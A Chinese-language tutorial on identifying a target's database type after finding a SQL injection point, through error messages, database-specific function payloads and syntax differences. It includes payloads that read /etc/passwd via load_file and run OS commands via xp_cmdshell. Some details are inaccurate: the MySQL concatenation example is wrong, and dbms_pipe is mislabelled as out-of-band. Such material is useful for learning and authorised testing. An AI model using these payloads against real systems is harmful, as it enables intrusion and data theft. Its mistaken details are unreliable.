### 找到一个注入点怎么判断对方什么数据库 **1. 报错信息判断** 最直接的方法就是观察数据库的报错信息。如果网站没有对错误信息进行处理,数据库的报错会直接显示在页面上,通常包含了数据库的名称或版本信息 - **MySQL**:`You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use` - **SQL Server**:`Microsoft OLE DB Provider for SQL Server`、`Incorrect syntax near '...` - **Oracle**:`ORA-01756: quoted string not properly terminated` - **PostgreSQL**:`PostgreSQL query failed: ERROR: parser: parse error` - **SQLite**:`sqlite_query()`、`SQL syntax error` **2. 特有函数和语法判断** 即使没有报错信息,你也可以通过注入特定数据库的函数或语法,观察页面的响应来判断。这种方法常用于**盲注**场景 **MySQL** - **`version()`**:`and 1=1 and version()`。如果页面返回了版本号(如 `5.5.53`),那就是 MySQL - **`sleep()`**:`and sleep(5)`。如果页面延迟了 5 秒,那很有可能是 MySQL - **`user()`**:`and user()` - **`database()`**:`and database()` - **`load_file()`**:`and load_file('/etc/passwd')` **SQL Server** - **`@@version`**:`and 1=1 and @@version`。如果页面返回版本信息,则是 SQL Server - **`xp_cmdshell`**:`and 1=1;exec xp_cmdshell('ping 127.0.0.1')--`。如果请求延迟,可能存在命令执行漏洞 - **`db_name()`**:`and db_name()` - **`system_user`**:`and system_user` **Oracle** - **`user`**:`and user` - **`sys.dba_tables`**:`and 1=1 and (select count(*) from sys.dba_tables)`。如果返回正常的页面,说明存在这张表 - **`dbms_pipe.receive_message()`**:`and 1=1 and dbms_pipe.receive_message('a',5)`。可以用来进行带外信道(OOB)注入 **PostgreSQL** - **`pg_sleep()`**:`and pg_sleep(5)`。如果页面延迟,很可能是 PostgreSQL - **`version()`**:`and version()` - **`pg_database`**:`and 1=1 and (select count(*) from pg_database)` **3. 不同数据库的查询差异** 每种数据库的查询语法都有一些细微的差别,可以利用这些差异来判断 - **字符串拼接**: - **MySQL**:`union select 'a','b'` - **SQL Server**:`union select 'a'+'b'` - **Oracle**:`union select 'a'||'b'` - **注释符号**: - **MySQL/PostgreSQL**:`-- `(后面需要加空格)、`#` - **SQL Server/Oracle**:`--` - **内联注释**:`/**/` 可以在多种数据库中使用